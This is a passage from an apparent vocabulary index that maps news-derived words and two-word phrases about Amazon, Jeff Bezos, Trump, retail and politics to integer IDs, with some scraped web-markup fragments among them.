47748, "walmart role": 47749, "goods directly": 47750, "icons innovators": 47751, "long second": 47752, "braindead answer": 47753, "pre empted": 47754, "thing isn": 47755, "important corrective": 47756, "regulation including": 47757, "absentee": 47758, "block dan": 47759, "intensely challenging": 47760, "page memos": 47761, "pressing mayors": 47762, "marla maples": 47763, "getty tycoon": 47764, "eduardo bolsonaro": 47765, "continuing attempts": 47766, "larger rockets": 47767, "grossly exaggerated": 47768, "rewards lotteries": 47769, "gop response": 47770, "bezos hopefully": 47771, "vice chair": 47772, "eating flatbread": 47773, "bald cap": 47774, "care schweitzer": 47775, "chief makan": 47776, "charged trump": 47777, "matter motive": 47778, "secretary defense": 47779, "emarketer advised": 47780, "maria": 47781, "tweets additionally": 47782, "colossal business": 47783, "merger mania": 47784, "cy": 47785, "matthew cogdeill": 47786, "training view": 47787, "sloppy misspelled": 47788, "technology intelligence": 47789, "nuclear threats": 47790, "chat": 47791, "written stories": 47792, "feedtype rss": 47793, "tower amazon": 47794, "copyrigh": 47795, "grocery items": 47796, "authorities don": 47797, "inhabit": 47798, "material source": 47799, "shares representing": 47800, "plant market": 47801, "playground": 47802, "representatives reportedly": 47803, "urge racine": 47804, "estate": 47805, "payment volume": 47806, "claim accelerated": 47807, "2019 advertisement": 47808, "quarterly earnings": 47809, "cover trump": 47810, "american monument": 47811, "raised new": 47812, "arkin play": 47813, "metagrobolize": 47814, "swamp ishness": 47815, "assets announcing": 47816, "leaving microsoft": 47817, "apple news": 47818, "feeder": 47819, "videohash": 47820, "southeastern brazil": 47821, "inspectors": 47822, "federal programs": 47823, "rep gaetz": 47824, "statement reacting": 47825, "carter": 47826, "demonizing": 47827, "jabong head": 47828, "dynamic way": 47829, "wibbitz": 47830, "chief concern": 47831, "ultimately lead": 47832, "prose": 47833, "smerconish wondered": 47834, "downey": 47835, "statement blaming": 47836, "poached": 47837, "pratfalls": 47838, "catalog service": 47839, "dakota 504": 47840, "ag house": 47841, "primarily social": 47842, "safety administration": 47843, "accolade ceo": 47844, "150 conversely": 47845, "hats shows": 47846, "poodle small": 47847, "overseas greer": 47848, "delay unanimously": 47849, "dislikes nbd": 47850, "new program": 47851, "jim hackett": 47852, "word mastercard": 47853, "migrants headed": 47854, "delivery start": 47855, "cidoni": 47856, "million paul": 47857, "stacey shick": 47858, "musk": 47859, "attacker": 47860, "stunning": 47861, "largest sponsor": 47862, "taxpayers money": 47863, "star pleads": 47864, "forum": 47865, "turned": 47866, "downsizing plans": 47867, "statutory tax": 47868, "vermont senator": 47869, "sale trump": 47870, "pendleton spencer": 47871, "just pick": 47872, "dj khaled": 47873, "shanghai stock": 47874, "bezos sarcastically": 47875, "\u0430is": 47876, "trump knew": 47877, "cheap things": 47878, "history suggested": 47879, "devices scary": 47880, "reported steamy": 47881, "city dot": 47882, "does fbi": 47883, "emails statements": 47884, "mom alcoholics": 47885, "retail empire": 47886, "ohio colin": 47887, "voting strength": 47888, "mile grocery": 47889, "statements promoted": 47890, "partners bmw": 47891, "sectors including": 47892, "1539546 amazon": 47893, "tostring d1a": 47894, "good headlamp": 47895, "brasilia": 47896, "20great": 47897, "grocery retailers": 47898, "grodenchik oakland": 47899, "valley control": 47900, "commission responsible": 47901, "unfocused": 47902, "acted prematurely": 47903, "peterson shawn": 47904, "badass videocmsurl": 47905, "democratic victories": 47906, "instead attended": 47907, "pugh alexander": 47908, "fwd": 47909, "nives": 47910, "memory users": 47911, "wander": 47912, "cleveland marshall": 47913, "retook": 47914, "laundered": 47915, "fedex possible": 47916, "feminist": 47917, "company report": 47918, "year retail": 47919, "want oil": 47920, "selected nonfiction": 47921, "leave cnn": 47922, "germain": 47923, "mounting pressure": 47924, "trends tennis": 47925, "location data": 47926, "mark zuckerbook": 47927, "careers new": 47928, "dioxide": 47929, "delivering product": 47930, "underbelly": 47931, "savagely": 47932, "getting uglier": 47933, "officials told": 47934, "eruption": 47935, "foxa": 47936, "spotify": 47937, "considerably today": 47938, "nation collective": 47939, "corruption dams": 47940, "aboutbezos": 47941, "whipping boy": 47942, "powerful enemies": 47943, "weekly digest": 47944, "mobilepinnedview null": 47945, "heightened tariffs": 47946, "soho earlier": 47947, "vaccine live": 47948, "online taxes": 47949, "gmbunionamazon gmbactivistamazon": 47950, "specific emphasis": 47951, "divide regarding": 47952, "recent talk": 47953, "kylie": 47954, "newspaper text": 47955, "nixon faso": 47956, "used regulatory": 47957, "lot warmer": 47958, "federal governments": 47959, "holiday workers": 47960, "hershey shares": 47961, "payments bezos": 47962, "foreign deposits": 47963, "new hunters": 47964, "business charlie": 47965, "remembrance survivors": 47966, "allegations inaccurate": 47967, "price strictly": 47968, "mnuchin treasury": 47969, "amazon rapid": 47970, "adhere": 47971, "son 14pm": 47972, "enc": 47973, "100 year": 47974, "prime embedded": 47975, "recent corporate": 47976, "adaptation opened": 47977, "week reuters": 47978, "wounded don": 47979, "maggienyt ted": 47980, "products exceeded": 47981, "undercutting francis": 47982, "willa frej": 47983, "toy": 47984, "photo fueled": 47985, "civic commitment": 47986, "tillis": 47987, "wasteful exercise": 47988, "reuters uk": 47989, "provide timely": 47990, "slightest": 47991, "living increases": 47992, "alert johnson": 47993, "forms new": 47994, "cerrado biomes": 47995, "removing vaxxed": 47996, "giants apple": 47997, "key issues": 47998, "fees 2018": 47999, "somebody": 48000, "feared": 48001, "films kim": 48002, "fix power": 48003, "frontrunner 2018": 48004, "homeless services": 48005, "incumbent governor": 48006, "pondering privacy": 48007, "wagealso": 48008, "billion data": 48009, "amazon called": 48010, "decades bernie": 48011, "cook dear": 48012, "lime": 48013, "format convenience": 48014, "surging traders": 48015, "trumps 2018": 48016, "nodes": 48017, "news anchor": 48018, "prayer": 48019, "times just": 48020, "notification": 48021, "investments breaks": 48022, "ignored established": 48023, "tells": 48024, "wolff book": 48025, "traffickers leaving": 48026, "reduce delivery": 48027, "faking hurricane": 48028, "menendez represents": 48029, "shipping costs": 48030, "cannon police": 48031, "different shops": 48032, "term game": 48033, "retest": 48034, "insider previously": 48035, "hollywood opposition": 48036, "giant search": 48037, "earnings easily": 48038, "compares condemnation": 48039, "swirl": 48040, "gopalan": 48041, "products manufacturing": 48042, "data initial": 48043, "\u0142100bn": 48044, "recession according": 48045, "today pres": 48046, "hq2 hq3": 48047, "amazon lands": 48048, "moynihan correspondent": 48049, "impair": 48050, "lewd life": 48051, "gently waving": 48052, "halliburton lesar": 48053, "fact predict": 48054, "america rose": 48055, "slash": 48056, "convention ultimately": 48057, "vibrant global": 48058, "rates amazon": 48059, "suggested numerous": 48060, "media ignore": 48061, "stock retreated": 48062, "evening weather": 48063, "melodies": 48064, "engleman": 48065, "mind following": 48066, "recently introducing": 48067, "department taking": 48068, "actions constitute": 48069, "photo speaking": 48070, "focused asked": 48071, "times shane": 48072, "break bread": 48073, "cgi": 48074, "open jobs": 48075, "sam shares": 48076, "pushed opec": 48077, "loudon county": 48078, "country border": 48079, "profiteered": 48080, "increased property": 48081, "package industry": 48082, "1005et copyright": 48083, "twitter prohibition": 48084, "deals post": 48085, "testify": 48086, "record global": 48087, "mont blanc": 48088, "sophia bush": 48089, "identifies commerce": 48090, "tweet accusing": 48091, "700 new": 48092, "welp": 48093, "monetary fund": 48094, "mall amazon": 48095, "consider reddit": 48096, "read austrian": 48097, "drone ascending": 48098, "update 8am": 48099, "davis wright": 48100, "wildfires air": 48101, "smithsonian anne": 48102, "claiming lunch": 48103, "ozens": 48104, "stronger especially": 48105, "echo devices": 48106, "make recommendations": 48107, "products facing": 48108, "rules": 48109, "defense purpose": 48110, "unveiled task": 48111, "lower manhattan": 48112, "ref_url": 48113, "community development": 48114, "pro abortion": 48115, "provide space": 48116, "japan lebanon": 48117, "yield bonds": 48118, "worst wildfire": 48119, "narrow view": 48120, "influence capitol": 48121, "protesters outside": 48122, "trump meetings": 48123, "cyberattacks canada": 48124, "raise cash": 48125, "questioning amazon": 48126, "amazon visit": 48127, "ptsd president": 48128, "carryforward": 48129, "increases 500": 48130, "quotes tech": 48131, "dining shopping": 48132, "biden offers": 48133, "maps": 48134, "amiss": 48135, "cnn coverage": 48136, "tech home": 48137, "bezos usually": 48138, "cash law": 48139, "va places": 48140, "dakota ruling": 48141, "commerce shipments": 48142, "dinam\u00e3 tux\u00e1": 48143, "2018 rhythm": 48144, "union rules": 48145, "starring jimmy": 48146, "hybrid animal": 48147, "dannemora producers": 48148, "noted legal": 48149, "result earlier": 48150, "mitigate": 48151, "small flat": 48152, "inherent contradictions": 48153, "houston": 48154, "wood levi": 48155, "music cbs": 48156, "backlash senator": 48157, "herguth": 48158, "terrell": 48159, "indigenous children": 48160, "high button": 48161, "internal revolt": 48162, "medicare": 48163, "precious brain": 48164, "turbines ocasio": 48165, "jones hopes": 48166, "floor washington": 48167, "levels lightbot": 48168, "avoid reporting": 48169, "deficient idiot": 48170, "structure logistics": 48171, "matt murphy": 48172, "2018 going": 48173, "pretty fast": 48174, "commonly used": 48175, "vendors ms": 48176, "responded directly": 48177, "gop gubernatorial": 48178, "considered safe": 48179, "institutions agreed": 48180, "falsely reported": 48181, "ziedins concedes": 48182, "lessons held": 48183, "ami protection": 48184, "waarom": 48185, "reached 646": 48186, "extraordinarily awful": 48187, "tagay": 48188, "deal rumors": 48189, "astute": 48190, "says economic": 48191, "herdener called": 48192, "underbid": 48193, "customers ellison": 48194, "sharper": 48195, "package inc_filelocation": 48196, "amazon manage": 48197, "little expertise": 48198, "residents hospitalized": 48199, "koc": 48200, "selectusa investment": 48201, "new air": 48202, "annual physical": 48203, "political utility": 48204, "amazon truly": 48205, "murder saudi": 48206, "trump warned": 48207, "just starting": 48208, "bolsonaro agenda": 48209, "motorsports": 48210, "natrol": 48211, "disney divest": 48212, "89th": 48213, "probably read": 48214, "oakland gardens": 48215, "lehrer does": 48216, "\u01612017 pr": 48217, "trump grau": 48218, "ami image": 48219, "lombardi": 48220, "roth discuss": 48221, "accident sen": 48222, "recently called": 48223, "riley london": 48224, "customers wallets": 48225, "used parts": 48226, "yes maria": 48227, "ecosystem partners": 48228, "cowen estimated": 48229, "space growth": 48230, "favorite feature": 48231, "male employees": 48232, "effective little": 48233, "parents secure": 48234, "startup confluent": 48235, "measure known": 48236, "basic": 48237, "just pair": 48238, "house recently": 48239, "legal liability": 48240, "coney island": 48241, "helped engineer": 48242, "robots discovery": 48243, "killed injured": 48244, "tussauds": 48245, "million predictions": 48246, "mcmaster complained": 48247, "tighter reins": 48248, "space hotels": 48249, "cloak": 48250, "driving shopping": 48251, "pouncing craig": 48252, "deflating": 48253, "wmal 9625": 48254, "articulate intelligent": 48255, "close loopholes": 48256, "exploited workers": 48257, "money usps": 48258, "afront": 48259, "agriculture secretary": 48260, "shuttle": 48261, "balce ceneta": 48262, "kennedy successor": 48263, "long search": 48264, "algorithm decide": 48265, "small potatoes": 48266, "disputes pushing": 48267, "played collection": 48268, "newhouse jewish": 48269, "paced world": 48270, "200 feet": 48271, "muxp2x0f7b": 48272, "matt gaetz": 48273, "r5q function": 48274, "brega presidency": 48275, "tax schemes": 48276, "economic boom": 48277, "worry click": 48278, "aclu revealing": 48279, "marketplace undercut": 48280, "adopted hard": 48281, "offers strand": 48282, "sources subsequently": 48283, "iq challenge": 48284, "million metric": 48285, "super earth": 48286, "threaten ami": 48287, "trump intellectual": 48288, "giants bochy": 48289, "boboswald33": 48290, "commerce player": 48291, "pricing northern": 48292, "achieve stock": 48293, "sponsor new": 48294, "bezos travelling": 48295, "trump jair": 48296, "year gary": 48297, "world suddenly": 48298, "sanchez photos": 48299, "communications strategist": 48300, "period ending": 48301, "message stamp": 48302, "graham told": 48303, "accounts search": 48304, "vera bradley": 48305, "oppress": 48306, "twitter salvos": 48307, "molinari charles": 48308, "mogul took": 48309, "tightening labour": 48310, "unionization efforts": 48311, "prom photo": 48312, "years people": 48313, "blasey": 48314, "drops country": 48315, "ramming": 48316, "canadian press": 48317, "mccarthy created": 48318, "nrcc executive": 48319, "bezos stone": 48320, "lowest level": 48321, "leila": 48322, "whirlpool": 48323, "store write": 48324, "compares trumps": 48325, "fourth places": 48326, "mayor steve": 48327, "know specifically": 48328, "democratic trump": 48329, "skeptics geoff": 48330, "committee releases": 48331, "o1a 1117161568": 48332, "drones connect": 48333, "individualist": 48334, "000 000": 48335, "donation sites": 48336, "best moves": 48337, "new revelations": 48338, "apprenticeship programs": 48339, "ill effects": 48340, "begins despite": 48341, "joseph corbett": 48342, "seth mandel": 48343, "overwhelming market": 48344, "local corporate": 48345, "people earlier": 48346, "civilization scale": 48347, "tech politician": 48348, "media intelligence": 48349, "dozen tech": 48350, "null comparisongrids": 48351, "matthew shepard": 48352, "control counterfeiting": 48353, "party versus": 48354, "softer economic": 48355, "james bullard": 48356, "customers installed": 48357, "murkier": 48358, "sm": 48359, "lead recycling": 48360, "tropical": 48361, "strategic review": 48362, "democratic commissioners": 48363, "fees sales": 48364, "wsj post": 48365, "poses camera": 48366, "sure reuters": 48367, "wapo alum": 48368, "trump candidate": 48369, "immunity depends": 48370, "politifact count": 48371, "chris froome": 48372, "prices paid": 48373, "paul krugman": 48374, "trump socialist": 48375, "amazon critic": 48376, "rfenner": 48377, "plan fight": 48378, "gress": 48379, "way street": 48380, "charged taxpayers": 48381, "england reduced": 48382, "giant advantages": 48383, "marital property": 48384, "jennifer mcguire": 48385, "candidate stormy": 48386, "technology investors": 48387, "taiwan president": 48388, "datax singapore": 48389, "social graph": 48390, "bezos sharply": 48391, "portfolio upped": 48392, "aslam chief": 48393, "thatwas": 48394, "infrastructure plans": 48395, "surrounding areas": 48396, "automatic ordering": 48397, "arabia ordered": 48398, "president despises": 48399, "workers receive": 48400, "religious schools": 48401, "just boring": 48402, "sex isn": 48403, "choose favorites": 48404, "barely moved": 48405, "today political": 48406, "vc adeft": 48407, "struggling newspaper": 48408, "ossenbeck": 48409, "democracy dies": 48410, "fixed costs": 48411, "reuters citing": 48412, "primary care": 48413, "customers trending": 48414, "arizona congressman": 48415, "monthly revenue": 48416, "morning twitter": 48417, "hari": 48418, "run advertisements": 48419, "funny thing": 48420, "bezos sexual": 48421, "girl baking": 48422, "trump uncomfortable": 48423, "political clubs": 48424, "pay offs": 48425, "dollars forbes": 48426, "build solutions": 48427, "watson column": 48428, "jobs senate": 48429, "cnn frank": 48430, "financial benefit": 48431, "807": 48432, "house inspired": 48433, "teases new": 48434, "tagsamazon jeff": 48435, "dating image": 48436, "buzzfeed response": 48437, "pioneering cbs": 48438, "broadsheets": 48439, "losing agency": 48440, "marriage hopefully": 48441, "shendure professor": 48442, "cary fukunaga": 48443, "doubt khosrowshahi": 48444, "political vendetta": 48445, "spreading fast": 48446, "department projects": 48447, "tongue twister": 48448, "considered holistic": 48449, "tentacles reach": 48450, "bustle": 48451, "vince bryan": 48452, "gmbunion4amazon": 48453, "250million": 48454, "really big": 48455, "flanhofer": 48456, "shining renewed": 48457, "institutions": 48458, "deplorable trump": 48459, "trump wins": 48460, "children leave": 48461, "fury": 48462, "kabir alias": 48463, "demanded americans": 48464, "right zilch": 48465, "increasingly relies": 48466, "including faces": 48467, "screwdrivers": 48468, "pluggable bluetooth": 48469, "reads normally": 48470, "trump acted": 48471, "news staffs": 48472, "width 307": 48473, "digger": 48474, "john dickerson": 48475, "checked baggage": 48476, "robert coalson": 48477, "divested": 48478, "ahead starting": 48479, "jim hightower": 48480, "2008 financial": 48481, "bankrate": 48482, "continued outsiders": 48483, "clients late": 48484, "service requires": 48485, "corporate dna": 48486, "takers": 48487, "reported 404": 48488, "cargo industry": 48489, "office pricing": 48490, "repeatedly suggested": 48491, "barring farmworkers": 48492, "crafts": 48493, "youir fault": 48494, "freuman": 48495, "ustr says": 48496, "regarded amazon": 48497, "ethnic": 48498, "650 height": 48499, "jobs asshole": 48500, "today fcc": 48501, "trifles": 48502, "years owners": 48503, "female employees": 48504, "just led": 48505, "paid tech": 48506, "pinpoint": 48507, "buyer controls": 48508, "arizona senate": 48509, "boeing": 48510, "shopping experience": 48511, "contact liz": 48512, "centralized management": 48513, "lehman brothers": 48514, "worth \u014241billion": 48515, "stronger protection": 48516, "gibbs": 48517, "exports bolsonaro": 48518, "trump seeking": 48519, "condliffe": 48520, "create dedicated": 48521, "platform links": 48522, "foment": 48523, "old crooked": 48524, "naloxone overdose": 48525, "husband president": 48526, "zijn source": 48527, "secret prosecutors": 48528, "world technology": 48529, "stagnating wages": 48530, "rich getting": 48531, "state offices": 48532, "cnl_nam wire": 48533, "board joining": 48534, "numbers amazon": 48535, "months partial": 48536, "answer ultimately": 48537, "company hudson": 48538, "13270229011 nearly": 48539, "admiration tweeted": 48540, "mail anymore": 48541, "nooyi offered": 48542, "nears decision": 48543, "photogenic activists": 48544, "gianaris announced": 48545, "frenzied competition": 48546, "000 owners": 48547, "massive anti": 48548, "nearest clinic": 48549, "does sell": 48550, "1701et copyright": 48551, "severed ties": 48552, "broadly popular": 48553, "son life": 48554, "tangential feud": 48555, "ubhi later": 48556, "amazon rekognition": 48557, "paywall earlier": 48558, "wenig geekwire": 48559, "infiltrators": 48560, "temperature drops": 48561, "mailer demands": 48562, "enjoyed tony": 48563, "numbers year": 48564, "larger scrutiny": 48565, "previous owner": 48566, "earnings upbeat": 48567, "amazon rules": 48568, "spring summer": 48569, "reporting surrounding": 48570, "parcel pricing": 48571, "congress hasn": 48572, "immigrants attempting": 48573, "officials responded": 48574, "phrase rope": 48575, "tencent": 48576, "window recallproximic": 48577, "considering challenging": 48578, "religious tradition": 48579, "low minimum": 48580, "tammy craft": 48581, "inclucaciones": 48582, "1997 advertisement": 48583, "products similar": 48584, "retailer jeff": 48585, "walker state": 48586, "negotiation isn": 48587, "collect store": 48588, "reference suggesting": 48589, "buy marijuana": 48590, "getty_623710176_388104": 48591, "immediacy": 48592, "review award": 48593, "share photos": 48594, "taking stake": 48595, "amazon abruptly": 48596, "manhattan football": 48597, "news chicago": 48598, "2014": 48599, "dave_brown24": 48600, "generous salaries": 48601, "statement basically": 48602, "uber needs": 48603, "isn social": 48604, "appalled": 48605, "ear headphones": 48606, "european automobiles": 48607, "cnl_global_nav_background_gradient_endient null": 48608, "amazon routinely": 48609, "number according": 48610, "reshaping health": 48611, "umpire": 48612, "senator criticism": 48613, "winner second": 48614, "trump friends": 48615, "public monies": 48616, "provide life": 48617, "2nd": 48618, "ordinary workers": 48619, "improve health": 48620, "posted public": 48621, "governors signaled": 48622, "reporting today": 48623, "ivy segal": 48624, "right media": 48625, "world learned": 48626, "bypass": 48627, "truckers": 48628, "won clean": 48629, "amazon pen": 48630, "trumpets books": 48631, "newspaper columnist": 48632, "connecting supply": 48633, "democrats want": 48634, "soon earlier": 48635, "session moya": 48636, "commercial": 48637, "takes children": 48638, "assessed": 48639, "foley bloomberg": 48640, "life better": 48641, "rate discount": 48642, "great success": 48643, "cut rates": 48644, "provide investigative": 48645, "shortage sent": 48646, "leftist political": 48647, "state medicaid": 48648, "recent barb": 48649, "reporter editor": 48650, "dhruv sehgal": 48651, "pulpit rhetoric": 48652, "vanessa scott": 48653, "amazon ships": 48654, "jose sanchez": 48655, "maj gen": 48656, "rsn": 48657, "updated 737": 48658, "seat google": 48659, "competitive pricing": 48660, "make meaningful": 48661, "head spin": 48662, "amzn provise": 48663, "comey james": 48664, "insufficient evidence": 48665, "corporate corporate": 48666, "blamed progressive": 48667, "2018 financial": 48668, "tech recap": 48669, "lawmaker backs": 48670, "precedence": 48671, "income growth": 48672, "report decrease": 48673, "digit percentages": 48674, "books saladish": 48675, "increasing economic": 48676, "investigation doj": 48677, "apple macbook": 48678, "origin llc": 48679, "employee farrow": 48680, "wishes amazon": 48681, "project victims": 48682, "extremism": 48683, "hosted rally": 48684, "issued earlier": 48685, "oo3klbw362 trooper": 48686, "rural north": 48687, "blood lust": 48688, "forte told": 48689, "real stores": 48690, "rep stephanie": 48691, "main policy": 48692, "veto proof": 48693, "rapid transition": 48694, "foods sending": 48695, "apparently plans": 48696, "coulter": 48697, "law concerned": 48698, "robert mondavi": 48699, "garfield reported": 48700, "khan wrote": 48701, "cardiologists": 48702, "hair dye": 48703, "retire early": 48704, "challenge license": 48705, "months bezos": 48706, "income children": 48707, "dollar assets": 48708, "leaders supporting": 48709, "brand equity": 48710, "substance involved": 48711, "technician policy": 48712, "ceos political": 48713, "week growing": 48714, "states offices": 48715, "income investments": 48716, "negotiators": 48717, "truthout doesn": 48718, "amazon fox": 48719, "h1": 48720, "infiltrate motherboards": 48721, "environmental stakes": 48722, "minded literary": 48723, "app neighbors": 48724, "bolstering national": 48725, "rogers photography": 48726, "google data": 48727, "months caption": 48728, "report cites": 48729, "emocrats": 48730, "brand shares": 48731, "elevator air": 48732, "hacking corporate": 48733, "supervisor": 48734, "taxes hardly": 48735, "boeing crash": 48736, "policy official": 48737, "compatible phone": 48738, "reporting harassment": 48739, "deal puts": 48740, "medical center": 48741, "returned jinsaotome4": 48742, "stock relentless": 48743, "amazon transports": 48744, "trump editorial": 48745, "literally calls": 48746, "reached": 48747, "politico killing": 48748, "voices public": 48749, "gone months": 48750, "twitter lead": 48751, "evicted": 48752, "need tariffs": 48753, "visitor": 48754, "activity bullish": 48755, "brief moment": 48756, "wireless communications": 48757, "good reminder": 48758, "women reproductive": 48759, "pursuits ethnic": 48760, "reports linked": 48761, "news market": 48762, "care stocks": 48763, "prime list": 48764, "joe rose": 48765, "frankenstein limousines": 48766, "inflation projects": 48767, "maduro loyalists": 48768, "contractsanalysts reckon": 48769, "issued letter": 48770, "chief": 48771, "structured": 48772, "goff started": 48773, "outlets trump": 48774, "twitter bradlander": 48775, "statement gabriela": 48776, "riches": 48777, "supplies": 48778, "sales official": 48779, "walgreens fell": 48780, "extensive travel": 48781, "incentive refer": 48782, "dividend payouts": 48783, "messy person": 48784, "remained modest": 48785, "kingdoms nathan": 48786, "conservations": 48787, "kohl kss": 48788, "dollar tech": 48789, "read frozen": 48790, "seeking alpha": 48791, "310 987": 48792, "halpert": 48793, "post decided": 48794, "hq2 relocation": 48795, "cost bleeding": 48796, "general believes": 48797, "unhealthy deal": 48798, "sex parents": 48799, "extolling": 48800, "billion las": 48801, "dripped": 48802, "quicken": 48803, "fair 2025": 48804, "wishes jeff": 48805, "lady melania": 48806, "hyper competitive": 48807, "legislation session": 48808, "epoch": 48809, "chooses bezos": 48810, "eighth grade": 48811, "secular sales": 48812, "n979746": 48813, "levels morgan": 48814, "babb": 48815, "stelter recommended": 48816, "slave island": 48817, "potentially privatize": 48818, "ln mro": 48819, "ofari": 48820, "webcast discussion": 48821, "turnberry": 48822, "logging device": 48823, "affiliations": 48824, "specifically modern": 48825, "descriptions added": 48826, "post aws": 48827, "guidelines california": 48828, "holiday break": 48829, "interference strange": 48830, "sinister going": 48831, "beale": 48832, "pouring rain": 48833, "spicer despite": 48834, "external acquisitions": 48835, "attacks afghanistan": 48836, "thrilled": 48837, "utm_campaign socialflow": 48838, "italy workers": 48839, "moment thankfully": 48840, "illness called": 48841, "bit complacent": 48842, "massive corporation": 48843, "russia dossier": 48844, "foods employee": 48845, "return v0": 48846, "hawaiians": 48847, "google pinterest": 48848, "costner": 48849, "fake fake": 48850, "golding": 48851, "malawi kenya": 48852, "virginia neighborhood": 48853, "specialized training": 48854, "election showed": 48855, "dan pashman": 48856, "war ii": 48857, "attackers": 48858, "google questionable": 48859, "different groups": 48860, "hq6": 48861, "false mediametadatacallbacks": 48862, "star review": 48863, "pros workplaces": 48864, "moderation strategies": 48865, "identity maybe": 48866, "anticipate bezos": 48867, "security report": 48868, "crackdown 1535755023": 48869, "faced scathing": 48870, "asia puts": 48871, "jackie jackie": 48872, "systematically undercutting": 48873, "administration tariffs": 48874, "trump favored": 48875, "bitcoin mainstream": 48876, "donut fries": 48877, "boulevard boss": 48878, "asked china": 48879, "actually begin": 48880, "game day": 48881, "sales leaped": 48882, "priority": 48883, "particular title": 48884, "gaza cr": 48885, "sophisticated insight": 48886, "bank merger": 48887, "value creation": 48888, "housekeeping nutrition": 48889, "avoid repercussions": 48890, "ordering period": 48891, "real motivations": 48892, "encourages democrats": 48893, "powering data": 48894, "wbenjaminson": 48895, "machinery": 48896, "conservative forces": 48897, "natural resources": 48898, "politico notes": 48899, "caroline moss": 48900, "immediate family": 48901, "vanity fair": 48902, "black boxer": 48903, "evening ramell": 48904, "cowboy ventures": 48905, "clearance": 48906, "national debt": 48907, "whip steve": 48908, "disruptive": 48909, "apparently agreed": 48910, "lawyer gavin": 48911, "major road": 48912, "serving life": 48913, "people benefit": 48914, "acosta white": 48915, "transparent process": 48916, "selections bezos": 48917, "phillips host": 48918, "dictatorial": 48919, "potential recommendations": 48920, "florida democratic": 48921, "ruthless company": 48922, "large collection": 48923, "clodagh": 48924, "offering trump": 48925, "incentives trump": 48926, "tesla gigafactory": 48927, "130 countries": 48928, "politico janaki": 48929, "impressive sales": 48930, "qatar working": 48931, "question segue": 48932, "098": 48933, "significant aggressive": 48934, "elicited public": 48935, "anticompetitive cryptocurrency": 48936, "overnight action": 48937, "health cvs": 48938, "media allies": 48939, "reportedly obsesses": 48940, "hackett producer": 48941, "worth mentioning": 48942, "shimron hetmyer": 48943, "backfired": 48944, "talked facebook": 48945, "pretty confident": 48946, "kingdom stars": 48947, "operationsnear washington": 48948, "new research": 48949, "amazon vp": 48950, "shooting dogs": 48951, "unfurled anti": 48952, "hide comments": 48953, "normal box": 48954, "related trump": 48955, "abyss": 48956, "christmas jimmy": 48957, "eric engleman": 48958, "trump initiated": 48959, "abedin weiner": 48960, "service layfield": 48961, "entrepreneur wrote": 48962, "firms including": 48963, "2018 headcount": 48964, "uco": 48965, "powerful consuming": 48966, "knight werner": 48967, "aggregated receipts": 48968, "humanitarian": 48969, "sea air": 48970, "wrong trump": 48971, "146 473": 48972, "bad considering": 48973, "anne rung": 48974, "multiple cabinet": 48975, "completely right": 48976, "new look": 48977, "county read": 48978, "700": 48979, "killing competition": 48980, "latest endeavors": 48981, "soy purchases": 48982, "reggie": 48983, "city begin": 48984, "orders postal": 48985, "worthless": 48986, "enquirer links": 48987, "worker concerns": 48988, "bourn sic": 48989, "jonathan delagrave": 48990, "post referencing": 48991, "hasn pressed": 48992, "bleakley": 48993, "mischief with\u0430proceeds": 48994, "soba": 48995, "medium size": 48996, "brazilian leader": 48997, "falling apart": 48998, "private facebook": 48999, "walkouts": 49000, "hillary clintonfrom": 49001, "annual salaries": 49002, "fareed zakaria": 49003, "dimmed": 49004, "forest clearing": 49005, "gross abuse": 49006, "2fwww": 49007, "user asked": 49008, "featured chad": 49009, "begin receiving": 49010, "synthetic biology": 49011, "ignites": 49012, "big chip": 49013, "totally deserving": 49014, "academy including": 49015, "ktumulty": 49016, "c0 sa": 49017, "members subscription": 49018, "maclear meditative": 49019, "promise npr": 49020, "houston reads": 49021, "kmart": 49022, "matt whitaker": 49023, "mckesson corp": 49024, "eligible": 49025, "growing portion": 49026, "rapidly advancing": 49027, "wispy": 49028, "way tie": 49029, "girl hits": 49030, "justice departmentofficials": 49031, "hockey boots": 49032, "including cancer": 49033, "investors continued": 49034, "mass pollution": 49035, "7bn": 49036, "2018 princesses": 49037, "decisions bezos": 49038, "combining insurance": 49039, "nudes": 49040, "gleaming": 49041, "boring quarter": 49042, "fulfillment purposes": 49043, "foods posted": 49044, "halt construction": 49045, "launch delivery": 49046, "trump lost": 49047, "vicki": 49048, "fund tangible": 49049, "mommy gram": 49050, "itunes youtube": 49051, "independently reported": 49052, "writer traister": 49053, "victorious": 49054, "managers glen": 49055, "marques says": 49056, "directly charged": 49057, "joining ohmnilabs": 49058, "forensic logic": 49059, "margin profile": 49060, "recently taken": 49061, "lobbying power": 49062, "gobbling": 49063, "internal revenue": 49064, "unelected": 49065, "bezos past": 49066, "dma according": 49067, "pun": 49068, "potential point": 49069, "bailout trump": 49070, "extreme bias": 49071, "challenges travel": 49072, "novelist": 49073, "sharing ___": 49074, "cnn michael": 49075, "world kernen": 49076, "willens": 49077, "sims includes": 49078, "deal feel": 49079, "morning lawsuit": 49080, "2019 sanders": 49081, "ellison abuse": 49082, "stock dropped": 49083, "fraud nbc": 49084, "win wins": 49085, "sputnik 19th": 49086, "speculate": 49087, "byers amazon": 49088, "condemn media": 49089, "washington gawande": 49090, "poured money": 49091, "res": 49092, "magazine chooses": 49093, "aid package": 49094, "ny1politics pic": 49095, "institutional costs": 49096, "300x520 uploaded_files": 49097, "fuel emissions": 49098, "wonder": 49099, "best interpret": 49100, "president mikhail": 49101, "running major": 49102, "regularly watches": 49103, "04m reports": 49104, "anti ecology": 49105, "stupendously": 49106, "deranged msnbc": 49107, "kong embarks": 49108, "make pitches": 49109, "suit instead": 49110, "news shirts": 49111, "embrace multicarrier": 49112, "return w0": 49113, "135 year": 49114, "growing loss": 49115, "rafael videla": 49116, "reportorial knife": 49117, "promises public": 49118, "leaders gawande": 49119, "talks president": 49120, "bernie": 49121, "long complained": 49122, "traditional": 49123, "rebukes": 49124, "announced way": 49125, "grim": 49126, "partner amazon": 49127, "run club": 49128, "content elizabeth": 49129, "giant tailors": 49130, "reyes": 49131, "mere mention": 49132, "media user": 49133, "fifths": 49134, "efforts open": 49135, "bizarre reason": 49136, "new congress": 49137, "ceo euro": 49138, "research say": 49139, "alice johnson": 49140, "assistance amazon": 49141, "skin won": 49142, "discuss national": 49143, "rallies news": 49144, "human creativity": 49145, "fresh record": 49146, "notoriously demanding": 49147, "trump predictions": 49148, "tereza cristina": 49149, "hisaccount": 49150, "budget minded": 49151, "transaction design": 49152, "day hearing": 49153, "doubleverify": 49154, "visibility suggested": 49155, "hiked pay": 49156, "reuters biotech": 49157, "personal activity": 49158, "repeated criticism": 49159, "seattle split": 49160, "launched probe": 49161, "fedex dhl": 49162, "post defying": 49163, "bucket": 49164, "amazon hopes": 49165, "probe 